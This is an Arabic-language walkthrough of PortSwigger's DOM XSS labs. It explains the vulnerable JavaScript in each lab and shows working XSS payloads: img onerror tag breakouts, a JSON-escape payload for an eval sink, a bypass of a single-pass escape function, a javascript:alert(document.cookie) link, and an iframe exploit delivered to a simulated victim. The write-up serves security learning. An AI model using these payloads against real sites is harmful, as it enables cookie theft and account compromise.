ثغرة DOM XSS: شرح حل PortSwigger labs (الجزء 1)

CTF Walkthrough
تعلّم DOM XSS من خلال حل portswigger labs من هذا الدليل خطوة بخطوة. مثالي للمبتدئين والمحترفين الذين يسعون لإتقان هجمات XSS المعتمدة على DOM في اختبار اختراق الويب.
Ahmed Fahim
Oct. 3, 2024, 8:45 p.m.
ahmed_fahim
ثغرة DOM XSS: شرح حل PortSwigger labs (الجزء 1)

 قال الله -جل وعلا-: إِنَّ اللَّهَ وَمَلائِكَتَهُ يُصَلُّونَ عَلَى النَّبِيِّ يَا أَيُّهَا الَّذِينَ آمَنُوا صَلُّوا عَلَيْهِ وَسَلِّمُوا تَسْلِيمًا [الأحزاب:56]

 

 

DOM XSS in document.write sink using source location.search

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink

افتح صفحة lab ، ابحث عن حقل البحث، ثم اختبر واكتب (0x1ahmed).

 

حسنًا، سأبحث في source code

كود JavaScript
عندما يزور المستخدم صفحة تحتوي على هذا الكود، إذا كان عنوان المحتوى المرتبط بالبحث هو (مثل ?search=0x1ahmed)، يتبع الكود نص البحث (في هذه الحالة "0x1ahmed") عن طريق إضافة صورة غير مرئية إلى الصفحة، وتحتوي الصورة على جزء من نص البحث ضمن عنوان URL.

<script>
   function trackSearch(query) {
       document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
      }
   var query = (new URLSearchParams(window.location.search)).get('search');
   if(query) {
       trackSearch(query);
       }
</script>

إذا كنت تبحث عن DOM XSS، عليك استخدام أداة (Inspect)، لذا تعال وانظر إلى هذا
ابحث عن قيمة 0x1ahmed 

<img src="/resources/images/tracker.gif?searchTerms=0x1ahmed">

لذا سأقوم inject payload لنري وانتهى الأمر.

"><img src=x onerror=alert(1)>

في هذه الحالة، سيتم إرفاق وسم الصورة (img) بعلامة اقتباس مزدوجة " وعلامة أصغر من (<) لأن قيمة src يجب أن تُغلق بـ " ثم يُغلق وسم الصورة بـ > للخروج من الوسم. بعد ذلك يمكننا إضافة وسم صورة (img) آخر، والذي سيؤدي إلى تشغيل نافذة تنبيه (alert) في هذا المثال.

 


 

DOM XSS in innerHTML sink using source location.search

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink

عند فتح صفحة lab ، عليك أولاً أن تبحث عن حقل البحث الموجود فيها؛ بعد أن تجده، يمكنك إجراء اختبار بسيط عن طريق كتابة النص "0x1ahmed" في حقل البحث؛ هذا سيساعدك علي التحليل بناءً على النتائج التي نحصل عليها.

 ممتاز! لنقوم بالبحث في source code خطوة جيدة لاكتشاف أي نقاط ضعف أو سلوكيات غير متوقعة.

كود JavaScript

يتم قراءة قيمة معامل البحث من الرابط. على سبيل المثال، إذا كان الرابط هو example.com?search=0x1ahmed، سيتم استخراج الكلمة "books". النص المستخرج من عنوان URL يتم وضعه داخل رسالة في الصفحة، بحيث يتم تحديث محتوى العنصر <span id="searchMessage"> لعرض النص الذي تم البحث عنه.

<h1><span>0 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
<script>
    function doSearchQuery(query) {
         document.getElementById('searchMessage').innerHTML = query;
              }
    var query = (new URLSearchParams(window.location.search)).get('search');
     if(query) {
      doSearchQuery(query);
        }
</script>

أنظر في inspect لتفهم اكثر

<img src=x onerror=alert(1)>

في هذه الحالة، سيكون وسم الصورة (img) وحده، لأن القيمة تُطبع بين وسمي (span).

 


 

 DOM XSS in document.write sink using source location.search inside a select element

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element

في هذه الحالة، بعد فتح lab (هو موقع تسوق)، يمكن البحث عن أي طريقة قد تكون قابلة للحقن. عندما تفتح أي منتج، ستجد طريقة "Check stock" (التحقق من المخزون).

تسمح لك هذه الطريقة باختيار عدد المنتجات المتاح لثلاث مدن مختلفة.

لننظر في source code

<form id="stockCheckForm" action="/product/stock" method="POST">
<input required type="hidden" name="productId" value="19">
<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
        if(stores[i] === store) {
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>
<button type="submit" class="button">Check stock</button>
</form>
<span id="stockCheckResult"></span>

هذا الكود يقوم بالآتي:

عرض قائمة المتاجر : يتم إنشاء قائمة منسدلة تحتوي على المتاجر "لندن"، "باريس"، و"ميلانو". إذا تم تحديد متجر مسبقًا عبر عنوان URL (مثل storeId=London?)، يتم تحديده تلقائيًا في القائمة.

إرسال النموذج: عند اختيار متجر والضغط على زر "تحقق من المخزون" (Check stock)، يتم إرسال الطلب إلى الخادم مع معرف المنتج (productId=19) ومعرف المتجر المحدد (storeId).

التحقق من المخزون: من المفترض أن يقوم الخادم بالتحقق من المخزون بناءً على هذه المعلومات وإرجاع نتيجة يمكن عرضها لاحقًا داخل العنصر <span id="stockCheckResult">.

 

لإضافة parameter storeId إلى عنوان URL، يمكنك تعديل الرابط ليصبح كالتالي:

product?productId=19&storeId=0x1ahmed

هذا جيد لنقم inject payload

</select><img src=x onerror=alert(1)>

في هذه الحالة، قمت بإغلاق وسم select حتى أتمكن من الخروج منه، لأن أي قيمة ستضاف بدون إغلاقه ستُعتبر كنص. بعد ذلك، أضفت وسم img.

 


Reflected DOM XSS

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected

 

افتح lab ، بمجرد فتحه ستلاحظ وجود حقل بحث. دعنا نجربه لنرى ما إذا كان يحتوي على ثغرة.

لقد كتبت 0x1ahmed لمعرفة ما إذا كانت هناك أي تغييرات.

حسنًا، إذا لم تتم طباعة الكلمة "0x1ahmed" في الكود بعد البحث، فهذا قد يعني أن المدخلات لا يتم عرضها مباشرة في الصفحة أو يتم فلترتها بطريقة تمنع الطباعة.

حسنًا، عد إلى الصفحة وافتح Inspect ستجد هذا.

حاول حقن أي وسم HTML مثل <h1>.
في هذه المحاولة، تم طباعة الوسم ولكن... فتحت أداة التفتيش (Inspect)، نقرت على الوسم واخترت "Edit As HTML".

ستلاحظ ان علامات <> تم عمل encode

<h1>0 search results for '&lt;h1&gt;0x1ahmed&lt;/h1&gt;'</h1>

الآن سأفتح Burp وأبحث مرة أخرى عن "0x1ahmed".
وجدت طلبين. الطلب الأول باللون الأزرق وهو عادي، الطلب الثاني باللون الأحمر ونوع MIME الخاص به هو JSON وله مسار آخر /search-results.

انظر إلى الطلب (request) الأول في Repeater

الطلب (request) الثاني

هذا جيد دعونا نحاول كتابة ()alert

حسنًا، حاول الخروج من علامة الاقتباس المزدوجة باستخدام " ……….. لقد قام باضافة \ ليتفادي " التي اضفناها 
في JavaScript، إذا أردنا إضافة علامة اقتباس مزدوجة " في الجملة، نستخدم \ للهروب منها، بحيث تصبح قيمة عادية في الجملة. على سبيل المثال:

let name = "My name is \"Ahmed\"";
console.log(name);
//output: My name is "Ahmed"

سأضيف \ أولاً إلى payload  لمحاولة تجنب \ التي تُضاف تلقائيًا إذا أدخل المستخدم ".

الآن نحتاج إلى إغلاق نطاق JSON. سأضيف بعد " } وسأقوم أيضًا بعمل دمج (concatenation) من خلال أي عمليات ( + - * % /) سأستخدمها مثلا الطرح  (-) 

هذا جيد، الآن لتجنب أي تعليمات برمجية بعد نافذة alert سأضيف تعليقًا (comment) في النهاية // 

لنقم بتجربة payload في المتصفح

smileysmiley

\"}-alert(1)//

دعنا نوضح شيئًا مهمًا وبسيطًا. إذا فتحنا ملف JavaScript الموجود، سنلاحظ أن المطور استخدم دالة تسمى eval. الثغرة تكمن في هذه الدالة.

دالة ()eval في JavaScript تقوم بتنفيذ السكربتات مباشرة. هذا يعني أنه إذا قمت بتمرير سلسلة نصية تحتوي على كود JavaScript، فستقوم بتفسيره وتنفيذه كما لو كان كودًا مكتوبًا مباشرة في البرنامج.
لذلك، من الأفضل تجنب استخدام ()eval واستخدام بدائل أكثر أمانًا.

هذا يوضح المثال

eval("console.log('Hello World');");

 


 

Stored DOM XSS

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored

 

افتح lab وابحث عن أي شيء يمكننا اختباره. افتح أي مدونة تجدها، واذهب إلى قسم التعليقات.

 

حسنًا، اكتب تعليقًا وحاول إدخال الأحرف الخاصة مثل ' " < >

ارجع الي blog

 

القيم تعرض أمامنا بشكل طبيعي في المتصفح . استخدم INSPECT وحدد القيمة ثم افتحها كـ HTML.
ستلاحظ أن جميع علامات < و > قد تم عمل encode لها.

إذا قمنا بالبحث ببساطة، سنجد ملف JavaScript من خلال source code. او يمكنك فتح أداة تصحيح الأخطاء (debugger) وستجد ملفات JS، وستجد الملف المسمى loadCommentsWithVulnerableEscapeHtml.

function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

هذه الدالة مسؤولة عن encoding  ل < و >. تستبدل القيم.
إذا وجدت < باستبدالها بـ &lt;  وإذا وجدت >، تُستبدل بـ &gt; .

لكن هناك شيء يجب أن نفهمه: الدالة تعمل مرة واحدة فقط، فما الذي سيحدث إذا قمنا بتكرار علامات < و > في payload؟

قم بعمل inect لأي input سواء name او comment

ارجع الي blog

هذا يعمل بشكل جيد. لنستخدم Inspect ونختار "Edit as HTML".

سنرى أن أول قيمتين < و > المدخلة تم استبدالهما. كما توقعنا تعمل الدالة مرة واحدة فقط.

من
<><img src=x onerror=alert(1)>

الي
&lt;&gt;<img src="x" onerror="alert(1)">

 


 

DOM XSS in jQuery anchor href attribute sink using location.search source

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink

 

افتح lab، وابحث في الموقع، ستجد قسم التعليقات وقسم الملاحظات (Feedback).
إذا اختبرت قسم التعليقات ولم تجد أي شيء مثير للاهتمام، انتقل لاختبار قسم الملاحظات (Feedback).

أرسل ملاحظتك في قسم الملاحظات وراقب ما يحدث.

قام بارجاع Thank you for submitting feedback!

لننظر في source code

<script>
   $(function() {
        $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
        });
</script>

عندما يزور المستخدم الصفحة، يتم فحص عنوان URL للبحث عن معامل returnPath. إذا كان هذا المعامل موجودًا، يتم أخذ قيمته وتعيينها كعنوان href للعنصر الذي يحمل id="backLink".
الوسم الذي يحمل "id="backLink هو زر العودة.
هذا يعني أن القيمة التي يتم تمريرها عبر returnPath يمكن أن تؤثر على زر العودة، مما قد يفتح مجالًا لاستغلال الثغرات إذا لم يتم التعامل مع المدخلات بشكل صحيح.

في هذه الحالة، يمكننا استخدام JavaScript في شريط عنوان المتصفح (URL) أو داخل خاصية href في رابط (anchor) <a>. لذا سنقوم بتغيير قيمة معامل returnPath إلى javascript:alert(1). يمكنك القيام بذلك من خلال عنوان URL.


عندما تتغير القيمة، ستصبح قيمة زر العودة javascript:alert(1)، مما يعني أنه عند النقر عليه، ستظهر نافذة منبثقة (pop-up) تعرض الرقم 1.

normal URL
https://0ad400230457e14f815a119000db0083.web-security-academy.net/feedback?returnPath=/post

to
https://0ad400230457e14f815a119000db0083.web-security-academy.net/feedback?returnPath=javascript:alert(1)

اضغط على زر الرجوع

لحل هذا lab عليك اظهار قيمة cookie

javascript:alert(document.cookie)

 


 

DOM XSS in jQuery selector sink using a hashchange event

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event


لقد فتحت lab وبعد بعض البحث، لم أجد أي شيء أمامي حتى نظرت في source code.

<script>
    $(window).on('hashchange', function(){
        var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>

دعنا نشرح باختصار ما يقوم به هذا الكود:

عندما يتغير الجزء "hash" من عنوان URL (مثل الانتقال إلى example.com#MyPost)
يقوم الكود بالبحث في الصفحة عن عنوان (<h2>) يحتوي على النص "MyPost" داخل قسم محدد من فئة blog-list.
إذا وجد العنوان، يقوم بالتمرير تلقائيًا إلى ذلك العنوان باستخدام ()scrollIntoView لجعله مرئيًا على الشاشة.

ملاحظة: في الموقع، إذا نظرنا إلى الكود، سنجد أن عنوان كل مقال موجود بين وسم <h2>. دعنا نجرب أخذ عنوان ووضعه بعد علامة #. ستظهر لك الجزء المعني من المقالة على الصفحة.

لنجرب تشغيل xss payload

#<img src=x onerror=alert(1)>

هذا لا يحل lab، رغم ذلك.

لحل lab، سنحتاج إلى استغلال هذه الحمولة ليتم إرسالها إلى الضحية، وسنقوم بمحاكاة هذه العملية. سأجرب ذلك محليًا، ثم سنستخدم exploit server لحل lab.

خطوات:
إنشاء ملف HTML
إضافة وسم <iframe>: أضفت وسم <iframe> لفتح الموقع داخل الملف.
هذا سيمكنني من اختبار كيف يمكن استغلال الثغرة بشكل محلي قبل الانتقال إلى exploit server. تأكد من مراقبة كيفية تعامل الصفحة مع المحتوى داخل الـ iframe

<iframe 
    src="https://0a3100780399e21c828738d400c600b8.web-security-academy.net/#"
    onload="this.src+='<img src=x onerror=alert(1)>'"
    width="1000" height="1000">
</iframe>

عندما يتم تحميل محتوى الـ iframe من الرابط، يتم تنفيذ خاصية onload.
خاصية onload: تحاول هذه الخاصية تعديل src للـ iframe من خلال إضافة صورة غير صالحة في كود JavaScript باستخدام onerror.
عندما تفشل الصورة في التحميل، يتم تشغيل كود JavaScript alert(1)، مما يؤدي إلى ظهور نافذة منبثقة في المتصفح.

افتح الملف في المتصفح وستجد أن هذا يعمل بشكل صحيح.

دعنا نحل lab الآن. كل ما سنفعله هو فتح exploit server، ثم سنستبدل كلمة "hello world" ب exploit. ولحل lab، نحتاج إلى تشغيل print بدلاً من alert. لا تنسي تغييرها.

<iframe 
    src="https://0a3100780399e21c828738d400c600b8.web-security-academy.net/#"
    onload="this.src+='<img src=x onerror=print()>'"
    width="1000" height="1000">
</iframe>

انقر على "store" لحفظ الملف، وبعد ذلك View exploit.

قم بالرجوع واضغط علي Deliver exploit to victim

 

أتمني منكم الدعاء الي فلسطين

انتظر الجزء الثاني قريبااااااااااااااااااااااااااا


Dom XSS PortSwigger Labs XSS Labs dom xss labs